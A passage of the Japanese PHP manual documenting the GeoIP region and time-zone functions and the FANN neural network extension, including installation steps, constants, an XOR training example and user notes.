  • 国コードおよび地域を取得する

geoip_region_by_name

(PECL geoip >= 0.2.0)

geoip_region_by_name — 国コードおよび地域を取得する

説明

geoip_region_by_name ( string $hostname ) : array

geoip_region_by_name() 関数は、 ホスト名あるいは IP アドレスに対応する国および地域を返します。

現在この関数を使用できるのは、商用の GeoIP Region Edition を購入した人だけです。 適切なデータベースが見つからない場合には警告が発生します。

返される連想配列には、以下のようなさまざまな名前のキーが含まれます。

  • "country_code" -- 二文字の国コード (geoip_country_code_by_name() を参照ください)
  • "region" -- 地域コード (例: カリフォルニアなら CA)

パラメータ

hostname

地域を探す対象となるホスト名あるいは IP アドレス。

返り値

成功した場合には連想配列、 アドレスがデータベースで見つからない場合には false を返します。

例

例1 geoip_region_by_name() の例

これは、ホスト example.com の国コードおよび地域を含む配列を表示します。

<?php
$region = geoip_region_by_name('www.example.com');
if ($region) {
    print_r($region);
}
?>

上の例の出力は以下となります。

Array
(
    [country_code] => US
    [region] => CA
)

User Contributed Notes

blacksdeva at gmail dot com 28-Nov-2013 10:13
Hi Kaushal,

You have to install geoip first before using its features, this link might help http://php.net/manual/en/geoip.setup.php if you get stuck just tell me what distro you are using


国コードと地域コードから地域名を返す

  • ≪ geoip_region_by_name
  • geoip_setup_custom_directory ≫
  • PHP Manual
  • GeoIP 関数
  • 国コードと地域コードから地域名を返す

geoip_region_name_by_code

(PECL geoip >= 1.0.4)

geoip_region_name_by_code — 国コードと地域コードから地域名を返す

説明

geoip_region_name_by_code ( string $country_code , string $region_code ) : string

geoip_region_name_by_code() 関数は、 国コードと地域コードの組み合わせに対応する地域名を返します。

アメリカの場合、地域コードは各州の名前を二文字で略したものとなります。 カナダの場合、地域コードは Canada Post による二文字の州コードに対応します。

それ以外の場所では、GeoIP は FIPS 10-4 コードを用いて地域を表します。 FIPS 10-4 コードの詳細な一覧は » http://www.maxmind.com/app/fips10_4 で確認できます。

この関数は、GeoIP Library バージョン 1.4.1 以降を使っている場合に使用可能です。 データは直接 GeoIP Library から受け取り、データベースは使用しません。

パラメータ

country_code

二文字の国コード (geoip_country_code_by_name() を参照ください)。

region_code

二文字 (あるいは二桁) の地域コード (geoip_region_by_name() を参照ください)。

返り値

成功した場合は地域名、国コードと地域コードの組に対応する地域が見つからなかった場合は false を返します。

例

例1 US/Canada の地域コードを使用した geoip_region_name_by_code() の例

これは、国 CA (カナダ)、地域 QC (ケベック) に対応する地域名を表示します。

<?php
$region = geoip_region_name_by_code('CA', 'QC');
if ($region) {
    echo 'Region name for CA/QC is: ' . $region;
}
?>

上の例の出力は以下となります。

Region name for CA/QC is: Quebec

例2 FIPS コードを使用した geoip_region_name_by_code() の例

これは、国 JP (日本)、地域 01 に対応する地域名を表示します。

<?php
$region = geoip_region_name_by_code('JP', '01');
if ($region) {
    echo 'Region name for JP/01 is: ' . $region;
}
?>

上の例の出力は以下となります。

Region name for JP/01 is: Aichi

User Contributed Notes

There are no user contributed notes for this page.


GeoIP データベースのカスタムディレクトリを設定する

  • ≪ geoip_region_name_by_code
  • geoip_time_zone_by_country_and_region ≫
  • PHP Manual
  • GeoIP 関数
  • GeoIP データベースのカスタムディレクトリを設定する

geoip_setup_custom_directory

(PECL geoip >= 1.1.0)

geoip_setup_custom_directory — GeoIP データベースのカスタムディレクトリを設定する

説明

geoip_setup_custom_directory ( string $path ) : void

geoip_setup_custom_directory() 関数は、 GeoIPデータベースのデフォルトディレクトリを変更します。 これは geoip.custom_directory を変更することと同等です。

パラメータ

path

ディスク上に置くGeoIP データベースのフルパス。

返り値

値を返しません。

例

例1 geoip_setup_custom_directory() の例

この例は、GeoIP のデータベースパスを変更します。

<?php

geoip_setup_custom_directory('/some/other/path');

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

上の例の出力は以下となります。

/some/other/path/GeoIP.dat

User Contributed Notes

There are no user contributed notes for this page.


国コードと地域コードからタイムゾーンを返す

  • ≪ geoip_setup_custom_directory
  • FANN ≫
  • PHP Manual
  • GeoIP 関数
  • 国コードと地域コードからタイムゾーンを返す

geoip_time_zone_by_country_and_region

(PECL geoip >= 1.0.4)

geoip_time_zone_by_country_and_region — 国コードと地域コードからタイムゾーンを返す

説明

geoip_time_zone_by_country_and_region ( string $country_code , string $region_code = ? ) : string

geoip_time_zone_by_country_and_region() 関数は、 国コードと地域コードの組み合わせに対応するタイムゾーンを返します。

アメリカの場合、地域コードは各州の名前を二文字で略したものとなります。 カナダの場合、地域コードは Canada Post による二文字の州コードに対応します。

それ以外の場所では、GeoIP は FIPS 10-4 コードを用いて地域を表します。 FIPS 10-4 コードの詳細な一覧は » http://www.maxmind.com/app/fips10_4 で確認できます。

この関数は、GeoIP Library バージョン 1.4.1 以降を使っている場合に使用可能です。 データは直接 GeoIP Library から受け取り、データベースは使用しません。

パラメータ

country_code

二文字の国コード (geoip_country_code_by_name() を参照ください)。

region_code

二文字 (あるいは二桁) の地域コード (geoip_region_by_name() を参照ください)。

返り値

成功した場合はタイムゾーン、国コードと地域コードの組に対応するタイムゾーンが見つからなかった場合は false を返します。

例

例1 US/Canada の地域コードを使用した geoip_time_zone_by_country_and_region() の例

これは、国 CA (カナダ)、地域 QC (ケベック) に対応するタイムゾーンを表示します。

<?php
$timezone = geoip_time_zone_by_country_and_region('CA', 'QC');
if ($timezone) {
    echo 'Time zone for CA/QC is: ' . $timezone;
}
?>

上の例の出力は以下となります。

Time zone for CA/QC is: America/Montreal

例2 FIPS コードを使用した geoip_time_zone_by_country_and_region() の例

これは、国 JP (日本)、地域 01 に対応するタイムゾーンを表示します。

<?php
$timezone = geoip_time_zone_by_country_and_region('JP', '01');
if ($timezone) {
    echo 'Time zone for JP/01 is: ' . $timezone;
}
?>

上の例の出力は以下となります。

Time zone for JP/01 is: Asia/Tokyo

User Contributed Notes

Rohit Khatri 18-Oct-2017 06:20
geoip_time_zone_by_country_and_region('CN');

It's giving false for China, why?


FANN (Fast Artificial Neural Network)

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • XOR training
  • Fann 関数
    • fann_cascadetrain_on_data — Trains on an entire dataset, for a period of time using the Cascade2 training algorithm
    • fann_cascadetrain_on_file — Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm
    • fann_clear_scaling_params — Clears scaling parameters
    • fann_copy — Creates a copy of a fann structure
    • fann_create_from_file — Constructs a backpropagation neural network from a configuration file
    • fann_create_shortcut_array — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
    • fann_create_shortcut — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
    • fann_create_sparse_array — Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes
    • fann_create_sparse — Creates a standard backpropagation neural network, which is not fully connected
    • fann_create_standard_array — Creates a standard fully connected backpropagation neural network using an array of layer sizes
    • fann_create_standard — Creates a standard fully connected backpropagation neural network
    • fann_create_train_from_callback — Creates the training data struct from a user supplied function
    • fann_create_train — Creates an empty training data struct
    • fann_descale_input — Scale data in input vector after get it from ann based on previously calculated parameters
    • fann_descale_output — Scale data in output vector after get it from ann based on previously calculated parameters
    • fann_descale_train — Descale input and output data based on previously calculated parameters
    • fann_destroy_train — Destructs the training data
    • fann_destroy — Destroys the entire network and properly freeing all the associated memory
    • fann_duplicate_train_data — Returns an exact copy of a fann train data
    • fann_get_activation_function — Returns the activation function
    • fann_get_activation_steepness — Returns the activation steepness for supplied neuron and layer number
    • fann_get_bias_array — Get the number of bias in each layer in the network
    • fann_get_bit_fail_limit — Returns the bit fail limit used during training
    • fann_get_bit_fail — The number of fail bits
    • fann_get_cascade_activation_functions_count — Returns the number of cascade activation functions
    • fann_get_cascade_activation_functions — Returns the cascade activation functions
    • fann_get_cascade_activation_steepnesses_count — The number of activation steepnesses
    • fann_get_cascade_activation_steepnesses — Returns the cascade activation steepnesses
    • fann_get_cascade_candidate_change_fraction — Returns the cascade candidate change fraction
    • fann_get_cascade_candidate_limit — Return the candidate limit
    • fann_get_cascade_candidate_stagnation_epochs — Returns the number of cascade candidate stagnation epochs
    • fann_get_cascade_max_cand_epochs — Returns the maximum candidate epochs
    • fann_get_cascade_max_out_epochs — Returns the maximum out epochs
    • fann_get_cascade_min_cand_epochs — Returns the minimum candidate epochs
    • fann_get_cascade_min_out_epochs — Returns the minimum out epochs
    • fann_get_cascade_num_candidate_groups — Returns the number of candidate groups
    • fann_get_cascade_num_candidates — Returns the number of candidates used during training
    • fann_get_cascade_output_change_fraction — Returns the cascade output change fraction
    • fann_get_cascade_output_stagnation_epochs — Returns the number of cascade output stagnation epochs
    • fann_get_cascade_weight_multiplier — Returns the weight multiplier
    • fann_get_connection_array — Get connections in the network
    • fann_get_connection_rate — Get the connection rate used when the network was created
    • fann_get_errno — Returns the last error number
    • fann_get_errstr — Returns the last errstr
    • fann_get_layer_array — Get the number of neurons in each layer in the network
    • fann_get_learning_momentum — Returns the learning momentum
    • fann_get_learning_rate — Returns the learning rate
    • fann_get_MSE — Reads the mean square error from the network
    • fann_get_network_type — Get the type of neural network it was created as
    • fann_get_num_input — Get the number of input neurons
    • fann_get_num_layers — Get the number of layers in the neural network
    • fann_get_num_output — Get the number of output neurons
    • fann_get_quickprop_decay — Returns the decay which is a factor that weights should decrease in each iteration during quickprop training
    • fann_get_quickprop_mu — Returns the mu factor
    • fann_get_rprop_decrease_factor — Returns the increase factor used during RPROP training
    • fann_get_rprop_delta_max — Returns the maximum step-size
    • fann_get_rprop_delta_min — Returns the minimum step-size
    • fann_get_rprop_delta_zero — Returns the initial step-size
    • fann_get_rprop_increase_factor — Returns the increase factor used during RPROP training
    • fann_get_sarprop_step_error_shift — Returns the sarprop step error shift
    • fann_get_sarprop_step_error_threshold_factor — Returns the sarprop step error threshold factor
    • fann_get_sarprop_temperature — Returns the sarprop temperature
    • fann_get_sarprop_weight_decay_shift — Returns the sarprop weight decay shift
    • fann_get_total_connections — Get the total number of connections in the entire network
    • fann_get_total_neurons — Get the total number of neurons in the entire network
    • fann_get_train_error_function — Returns the error function used during training
    • fann_get_train_stop_function — Returns the stop function used during training
    • fann_get_training_algorithm — Returns the training algorithm
    • fann_init_weights — Initialize the weights using Widrow + Nguyen’s algorithm
    • fann_length_train_data — Returns the number of training patterns in the train data
    • fann_merge_train_data — Merges the train data
    • fann_num_input_train_data — Returns the number of inputs in each of the training patterns in the train data
    • fann_num_output_train_data — Returns the number of outputs in each of the training patterns in the train data
    • fann_print_error — Prints the error string
    • fann_randomize_weights — Give each connection a random weight between min_weight and max_weight
    • fann_read_train_from_file — Reads a file that stores training data
    • fann_reset_errno — Resets the last error number
    • fann_reset_errstr — Resets the last error string
    • fann_reset_MSE — Resets the mean square error from the network
    • fann_run — Will run input through the neural network
    • fann_save_train — Save the training structure to a file
    • fann_save — Saves the entire network to a configuration file
    • fann_scale_input_train_data — Scales the inputs in the training data to the specified range
    • fann_scale_input — Scale data in input vector before feed it to ann based on previously calculated parameters
    • fann_scale_output_train_data — Scales the outputs in the training data to the specified range
    • fann_scale_output — Scale data in output vector before feed it to ann based on previously calculated parameters
    • fann_scale_train_data — Scales the inputs and outputs in the training data to the specified range
    • fann_scale_train — Scale input and output data based on previously calculated parameters
    • fann_set_activation_function_hidden — Sets the activation function for all of the hidden layers
    • fann_set_activation_function_layer — Sets the activation function for all the neurons in the supplied layer
    • fann_set_activation_function_output — Sets the activation function for the output layer
    • fann_set_activation_function — Sets the activation function for supplied neuron and layer
    • fann_set_activation_steepness_hidden — Sets the steepness of the activation steepness for all neurons in the all hidden layers
    • fann_set_activation_steepness_layer — Sets the activation steepness for all of the neurons in the supplied layer number
    • fann_set_activation_steepness_output — Sets the steepness of the activation steepness in the output layer
    • fann_set_activation_steepness — Sets the activation steepness for supplied neuron and layer number
    • fann_set_bit_fail_limit — Set the bit fail limit used during training
    • fann_set_callback — Sets the callback function for use during training
    • fann_set_cascade_activation_functions — Sets the array of cascade candidate activation functions
    • fann_set_cascade_activation_steepnesses — Sets the array of cascade candidate activation steepnesses
    • fann_set_cascade_candidate_change_fraction — Sets the cascade candidate change fraction
    • fann_set_cascade_candidate_limit — Sets the candidate limit
    • fann_set_cascade_candidate_stagnation_epochs — Sets the number of cascade candidate stagnation epochs
    • fann_set_cascade_max_cand_epochs — Sets the max candidate epochs
    • fann_set_cascade_max_out_epochs — Sets the maximum out epochs
    • fann_set_cascade_min_cand_epochs — Sets the min candidate epochs
    • fann_set_cascade_min_out_epochs — Sets the minimum out epochs
    • fann_set_cascade_num_candidate_groups — Sets the number of candidate groups
    • fann_set_cascade_output_change_fraction — Sets the cascade output change fraction
    • fann_set_cascade_output_stagnation_epochs — Sets the number of cascade output stagnation epochs
    • fann_set_cascade_weight_multiplier — Sets the weight multiplier
    • fann_set_error_log — Sets where the errors are logged to
    • fann_set_input_scaling_params — Calculate input scaling parameters for future use based on training data
    • fann_set_learning_momentum — Sets the learning momentum
    • fann_set_learning_rate — Sets the learning rate
    • fann_set_output_scaling_params — Calculate output scaling parameters for future use based on training data
    • fann_set_quickprop_decay — Sets the quickprop decay factor
    • fann_set_quickprop_mu — Sets the quickprop mu factor
    • fann_set_rprop_decrease_factor — Sets the decrease factor used during RPROP training
    • fann_set_rprop_delta_max — Sets the maximum step-size
    • fann_set_rprop_delta_min — Sets the minimum step-size
    • fann_set_rprop_delta_zero — Sets the initial step-size
    • fann_set_rprop_increase_factor — Sets the increase factor used during RPROP training
    • fann_set_sarprop_step_error_shift — Sets the sarprop step error shift
    • fann_set_sarprop_step_error_threshold_factor — Sets the sarprop step error threshold factor
    • fann_set_sarprop_temperature — Sets the sarprop temperature
    • fann_set_sarprop_weight_decay_shift — Sets the sarprop weight decay shift
    • fann_set_scaling_params — Calculate input and output scaling parameters for future use based on training data
    • fann_set_train_error_function — Sets the error function used during training
    • fann_set_train_stop_function — Sets the stop function used during training
    • fann_set_training_algorithm — Sets the training algorithm
    • fann_set_weight_array — Set connections in the network
    • fann_set_weight — Set a connection in the network
    • fann_shuffle_train_data — Shuffles training data, randomizing the order
    • fann_subset_train_data — Returns an copy of a subset of the train data
    • fann_test_data — Test a set of training data and calculates the MSE for the training data
    • fann_test — Test with a set of inputs, and a set of desired outputs
    • fann_train_epoch — Train one epoch with a set of training data
    • fann_train_on_data — Trains on an entire dataset for a period of time
    • fann_train_on_file — Trains on an entire dataset, which is read from file, for a period of time
    • fann_train — Train one iteration with a set of inputs, and a set of desired outputs
  • FANNConnection — The FANNConnection class
    • FANNConnection::__construct — The connection constructor
    • FANNConnection::getFromNeuron — Returns the postions of starting neuron
    • FANNConnection::getToNeuron — Returns the postions of terminating neuron
    • FANNConnection::getWeight — Returns the connection weight
    • FANNConnection::setWeight — Sets the connections weight

User Contributed Notes

There are no user contributed notes for this page.


はじめに

PHP binding for FANN (Fast Artificial Neural Network) Library which implements multilayer artificial neural networks with support for both fully connected and sparsely connected networks. It includes a framework for easy handling of training data sets. It is easy to use, versatile, well documented, and fast.

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP >= 5.2.0 and libfann >= 2.1.0

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

The FANN PHP extension should work on all Linux systems.

  • FANN Library Installation
  • PECL Installation
  • Manual Installation

FANN Library Installation

Before you start installation make sure that libfann is installed on your system. It's part of the main repository in the most Linux distributions (search for fann). You need a development version.

If it is not installed, you need to install it first. Either download it from the » official site or get it from your distro repository. For example on Fedora:

$ sudo yum install fann-devel
or Ubuntu:

$ sudo apt-get install libfann-dev

If the library is re-installed manually, then all old library file should be removed before re-installing otherwise the old library version could be linked.

PECL Installation

This extension is available on PECL. The installation is very simple. Just run:

$ sudo pecl install fann

Manual Installation

For developers and people interested in the latest changes, you can compile the driver from the latest source code on » Github. Go to Github and click the "Download ZIP" button. Then run:

$ unzip php-fann-master.zip
$ cd php-fann-master
$ phpize
$ ./configure
$ make all
$ sudo make install

Make the following changes to php.ini:

  • Make sure the extension_dir variable is pointing to the directory containing fann.so. The build will display where it is installing the PHP driver with output that looks something like:

Installing '/usr/lib/php/extensions/no-debug-non-zts-20060613/fann.so'
    Make sure that it is the same as the PHP extension directory by running:

$ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/no-debug-non-zts-20060613 =>
                   /usr/lib/php/extensions/no-debug-non-zts-20060613
    If it's not, change the extension_dir in php.ini or move fann.so.

  • To load the extension on PHP startup, add a line:

extension=fann.so

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

Training algorithms
FANN_TRAIN_INCREMENTAL (int)
Standard backpropagation algorithm, where the weights are updated after each training pattern. This means that the weights are updated many times during a single epoch. For this reason some problems, will train very fast with this algorithm, while other more advanced problems will not train very well.
FANN_TRAIN_BATCH (int)
Standard backpropagation algorithm, where the weights are updated after calculating the mean square error for the whole training set. This means that the weights are only updated once during a epoch. For this reason some problems, will train slower with this algorithm. But since the mean square error is calculated more correctly than in incremental training, some problems will reach a better solutions with this algorithm.
FANN_TRAIN_RPROP (int)
A more advanced batch training algorithm which achieves good results for many problems. The RPROP training algorithm is adaptive, and does therefore not use the learning_rate. Some other parameters can however be set to change the way the RPROP algorithm works, but it is only recommended for users with insight in how the RPROP training algorithm works. The RPROP training algorithm is described by [Riedmiller and Braun, 1993], but the actual learning algorithm used here is the iRPROP- training algorithm which is described by [Igel and Husken, 2000] which is an variety of the standard RPROP training algorithm.
FANN_TRAIN_QUICKPROP (int)
A more advanced batch training algorithm which achieves good results for many problems. The quickprop training algorithm uses the learning_rate parameter along with other more advanced parameters, but it is only recommended to change these advanced parameters, for users with insight in how the quickprop training algorithm works. The quickprop training algorithm is described by [Fahlman, 1988].
FANN_TRAIN_SARPROP (int)
Even more advance training algorithm. Only for version 2.2
Activation functions
FANN_LINEAR (int)
Linear activation function.
FANN_THRESHOLD (int)
Threshold activation function.
FANN_THRESHOLD_SYMMETRIC (int)
Threshold activation function.
FANN_SIGMOID (int)
Sigmoid activation function.
FANN_SIGMOID_STEPWISE (int)
Stepwise linear approximation to sigmoid.
FANN_SIGMOID_SYMMETRIC (int)
Symmetric sigmoid activation function, aka. tanh.
FANN_SIGMOID_SYMMETRIC_STEPWISE (int)
Stepwise linear approximation to symmetric sigmoid
FANN_GAUSSIAN (int)
Gaussian activation function.
FANN_GAUSSIAN_SYMMETRIC (int)
Symmetric gaussian activation function.
FANN_GAUSSIAN_STEPWISE (int)
Stepwise gaussian activation function.
FANN_ELLIOT (int)
Fast (sigmoid like) activation function defined by David Elliott.
FANN_ELLIOT_SYMMETRIC (int)
Fast (symmetric sigmoid like) activation function defined by David Elliott.
FANN_LINEAR_PIECE (int)
Bounded linear activation function.
FANN_LINEAR_PIECE_SYMMETRIC (int)
Bounded linear activation function.
FANN_SIN_SYMMETRIC (int)
Periodical sinus activation function.
FANN_COS_SYMMETRIC (int)
Periodical cosinus activation function.
FANN_SIN (int)
Periodical sinus activation function.
FANN_COS (int)
Periodical cosinus activation function.
Error function used during training
FANN_ERRORFUNC_LINEAR (int)
Standard linear error function.
FANN_ERRORFUNC_TANH (int)
Tanh error function; usually better but may require a lower learning rate. This error function aggressively targets outputs that differ much from the desired, while not targeting outputs that only differ slightly. Not recommended for cascade or incremental training.
Stop criteria used during training
FANN_STOPFUNC_MSE (int)
Stop criteria is Mean Square Error (MSE) value.
FANN_STOPFUNC_BIT (int)
Stop criteria is number of bits that fail. The number of bits means the number of output neurons which differs more than the bit fail limit (see fann_get_bit_fail_limit, fann_set_bit_fail_limit). The bits are counted in all of the training data, so this number can be higher than the number of training data.
Definition of network types used by fann_get_network_type()
FANN_NETTYPE_LAYER (int)
Each layer only has connections to the next layer.
FANN_NETTYPE_SHORTCUT (int)
Each layer has connections to all following layers
Errors
FANN_E_NO_ERROR (int)
No error.
FANN_E_CANT_OPEN_CONFIG_R (int)
Unable to open configuration file for reading.
FANN_E_CANT_OPEN_CONFIG_W (int)
Unable to open configuration file for writing.
FANN_E_WRONG_CONFIG_VERSION (int)
Wrong version of configuration file.
FANN_E_CANT_READ_CONFIG (int)
Error reading info from configuration file.
FANN_E_CANT_READ_NEURON (int)
Error reading neuron info from configuration file.
FANN_E_CANT_READ_CONNECTIONS (int)
Error reading connections from configuration file.
FANN_E_WRONG_NUM_CONNECTIONS (int)
Number of connections not equal to the number expected.
FANN_E_CANT_OPEN_TD_W (int)
Unable to open train data file for writing.
FANN_E_CANT_OPEN_TD_R (int)
Unable to open train data file for reading.
FANN_E_CANT_READ_TD (int)
Error reading training data from file.
FANN_E_CANT_ALLOCATE_MEM (int)
Unable to allocate memory.
FANN_E_CANT_TRAIN_ACTIVATION (int)
Unable to train with the selected activation function.
FANN_E_CANT_USE_ACTIVATION (int)
Unable to use the selected activation function.
FANN_E_TRAIN_DATA_MISMATCH (int)
Irreconcilable differences between two struct fann_train_data structures.
FANN_E_CANT_USE_TRAIN_ALG (int)
Unable to use the selected training algorithm.
FANN_E_TRAIN_DATA_SUBSET (int)
Trying to take subset which is not within the training set.
FANN_E_INDEX_OUT_OF_BOUND (int)
Index is out of bound.
FANN_E_SCALE_NOT_PRESENT (int)
Scaling parameters not present.
FANN_E_INPUT_NO_MATCH (int)
The number of input neurons in the ann and data do not match
FANN_E_OUTPUT_NO_MATCH (int)
The number of output neurons in the ann and data do not match.

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • XOR training

User Contributed Notes

There are no user contributed notes for this page.


XOR training

This example shows how to train data for XOR function

例1 xor.data file

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

例2 Simple train

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;

$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {
    fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
    fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

    $filename = dirname(__FILE__) . "/xor.data";
    if (fann_train_on_file($ann, $filename, $max_epochs, $epochs_between_reports, $desired_error))
        fann_save($ann, dirname(__FILE__) . "/xor_float.net");

    fann_destroy($ann);
}
?>

This example shows how to read and run data for XOR function

例3 Simple test

<?php
$train_file = (dirname(__FILE__) . "/xor_float.net");
if (!is_file($train_file))
    die("The file xor_float.net has not been created! Please run simple_train.php to generate it");

$ann = fann_create_from_file($train_file);
if (!$ann)
    die("ANN could not be created");

$input = array(-1, 1);
$calc_out = fann_run($ann, $input);
printf("xor test (%f,%f) -> %f\n", $input[0], $input[1], $calc_out[0]);
fann_destroy($ann);
?>

User Contributed Notes

ithirzty 25-Nov-2019 07:44
If you wan't your result to be saved after the time limit, you will need to add this to your code.
<?php
function shutdown()
{
  global $ann;
fann_save($ann, dirname(__FILE__) . "/result.net");
fann_destroy($ann);
}

register_shutdown_function('shutdown');
?>
where $ann is your neural network var and 'result.net' your neural network config file.
Ray.Paseur sometimes uses Gmail 03-Mar-2017 08:43
A helpful reference for FANN is available here:
http://leenissen.dk/fann/html/files2/theory-txt.html
Aurelien Marchand 08-May-2015 02:08
Here is an explanation for the input file for training, as it might be obvious to everyone and you must understand it to write your own:

4 2 1 <- header file saying there are 4 sets to read, with 2 inputs and 1 output
-1 -1 <- the 2 inputs for the 1st group
-1    <- the 1 output for the 1st group
-1 1  <- the 2 inputs for the 2nd group
1     <- the 1 output for the 2nd group
1 -1  <- the 2 inputs for the 3rd group
1     <- the 1 output for the 3rd group
1 1   <- the 2 inputs for the 4th group
-1    <- the 1 output for the 4th group


Fann 関数

目次

  • fann_cascadetrain_on_data — Trains on an entire dataset, for a period of time using the Cascade2 training algorithm
  • fann_cascadetrain_on_file — Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm
  • fann_clear_scaling_params — Clears scaling parameters
  • fann_copy — Creates a copy of a fann structure
  • fann_create_from_file — Constructs a backpropagation neural network from a configuration file
  • fann_create_shortcut_array — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
  • fann_create_shortcut — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
  • fann_create_sparse_array — Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes
  • fann_create_sparse — Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_standard_array — Creates a standard fully connected backpropagation neural network using an array of layer sizes
  • fann_create_standard — Creates a standard fully connected backpropagation neural network
  • fann_create_train_from_callback — Creates the training data struct from a user supplied function
  • fann_create_train — Creates an empty training data struct
  • fann_descale_input — Scale data in input vector after get it from ann based on previously calculated parameters
  • fann_descale_output — Scale data in output vector after get it from ann based on previously calculated parameters
  • fann_descale_train — Descale input and output data based on previously calculated parameters
  • fann_destroy_train — Destructs the training data
  • fann_destroy — Destroys the entire network and properly freeing all the associated memory
  • fann_duplicate_train_data — Returns an exact copy of a fann train data
  • fann_get_activation_function — Returns the activation function
  • fann_get_activation_steepness — Returns the activation steepness for supplied neuron and layer number
  • fann_get_bias_array — Get the number of bias in each layer in the network
  • fann_get_bit_fail_limit — Returns the bit fail limit used during training
  • fann_get_bit_fail — The number of fail bits
  • fann_get_cascade_activation_functions_count — Returns the number of cascade activation functions
  • fann_get_cascade_activation_functions — Returns the cascade activation functions
  • fann_get_cascade_activation_steepnesses_count — The number of activation steepnesses
  • fann_get_cascade_activation_steepnesses — Returns the cascade activation steepnesses
  • fann_get_cascade_candidate_change_fraction — Returns the cascade candidate change fraction
  • fann_get_cascade_candidate_limit — Return the candidate limit
  • fann_get_cascade_candidate_stagnation_epochs — Returns the number of cascade candidate stagnation epochs
  • fann_get_cascade_max_cand_epochs — Returns the maximum candidate epochs
  • fann_get_cascade_max_out_epochs — Returns the maximum out epochs
  • fann_get_cascade_min_cand_epochs — Returns the minimum candidate epochs
  • fann_get_cascade_min_out_epochs — Returns the minimum out epochs
  • fann_get_cascade_num_candidate_groups — Returns the number of candidate groups
  • fann_get_cascade_num_candidates — Returns the number of candidates used during training
  • fann_get_cascade_output_change_fraction — Returns the cascade output change fraction
  • fann_get_cascade_output_stagnation_epochs — Returns the number of cascade output stagnation epochs
  • fann_get_cascade_weight_multiplier — Returns the weight multiplier
  • fann_get_connection_array — Get connections in the network
  • fann_get_connection_rate — Get the connection rate used when the network was created
  • fann_get_errno — Returns the last error number
  • fann_get_errstr — Returns the last errstr
  • fann_get_layer_array — Get the number of neurons in each layer in the network
  • fann_get_learning_momentum — Returns the learning momentum
  • fann_get_learning_rate — Returns the learning rate
  • fann_get_MSE — Reads the mean square error from the network
  • fann_get_network_type — Get the type of neural network it was created as
  • fann_get_num_input — Get the number of input neurons
  • fann_get_num_layers — Get the number of layers in the neural network
  • fann_get_num_output — Get the number of output neurons
  • fann_get_quickprop_decay — Returns the decay which is a factor that weights should decrease in each iteration during quickprop training
  • fann_get_quickprop_mu — Returns the mu factor
  • fann_get_rprop_decrease_factor — Returns the increase factor used during RPROP training
  • fann_get_rprop_delta_max — Returns the maximum step-size
  • fann_get_rprop_delta_min — Returns the minimum step-size
  • fann_get_rprop_delta_zero — Returns the initial step-size
  • fann_get_rprop_increase_factor — Returns the increase factor used during RPROP training
  • fann_get_sarprop_step_error_shift — Returns the sarprop step error shift
  • fann_get_sarprop_step_error_threshold_factor — Returns the sarprop step error threshold factor
  • fann_get_sarprop_temperature — Returns the sarprop temperature
  • fann_get_sarprop_weight_decay_shift — Returns the sarprop weight decay shift
  • fann_get_total_connections — Get the total number of connections in the entire network
  • fann_get_total_neurons — Get the total number of neurons in the entire network
  • fann_get_train_error_function — Returns the error function used during training
  • fann_get_train_stop_function — Returns the stop function used during training
  • fann_get_training_algorithm — Returns the training algorithm
  • fann_init_weights — Initialize the weights using Widrow + Nguyen’s algorithm
  • fann_length_train_data — Returns the number of training patterns in the train data
  • fann_merge_train_data — Merges the train data
  • fann_num_input_train_data — Returns the number of inputs in each of the training patterns in the train data
  • fann_num_output_train_data — Returns the number of outputs in each of the training patterns in the train data
  • fann_print_error — Prints the error string
  • fann_randomize_weights — Give each connection a random weight between min_weight and max_weight
  • fann_read_train_from_file — Reads a file that stores training data
  • fann_reset_errno — Resets the last error number
  • fann_reset_errstr — Resets the last error string
  • fann_reset_MSE — Resets the mean square error from the network
  • fann_run — Will run input through the neural network
  • fann_save_train — Save the training structure to a file
  • fann_save — Saves the entire network to a configuration file
  • fann_scale_input_train_data — Scales the inputs in the training data to the specified range
  • fann_scale_input — Scale data in input vector before feed it to ann based on previously calculated parameters
  • fann_scale_output_train_data — Scales the outputs in the training data to the specified range
  • fann_scale_output — Scale data in output vector before feed it to ann based on previously calculated parameters
  • fann_scale_train_data — Scales the inputs and outputs in the training data to the specified range
  • fann_scale_train — Scale input and output data based on previously calculated parameters
  • fann_set_activation_function_hidden — Sets the activation function for all of the hidden layers
  • fann_set_activation_function_layer — Sets the activation function for all the neurons in the supplied layer
  • fann_set_activation_function_output — Sets the activation function for the output layer
  • fann_set_activation_function — Sets the activation function for supplied neuron and layer
  • fann_set_activation_steepness_hidden — Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_set_activation_steepness_layer — Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_output — Sets the steepness of the activation steepness in the output layer
  • fann_set_activation_steepness — Sets the activation steepness for supplied neuron and layer number
  • fann_set_bit_fail_limit — Set the bit fail limit used during training
  • fann_set_callback — Sets the callback function for use during training
  • fann_set_cascade_activation_functions — Sets the array of cascade candidate activation functions
  • fann_set_cascade_activation_steepnesses — Sets the array of cascade candidate activation steepnesses
  • fann_set_cascade_candidate_change_fraction — Sets the cascade candidate change fraction
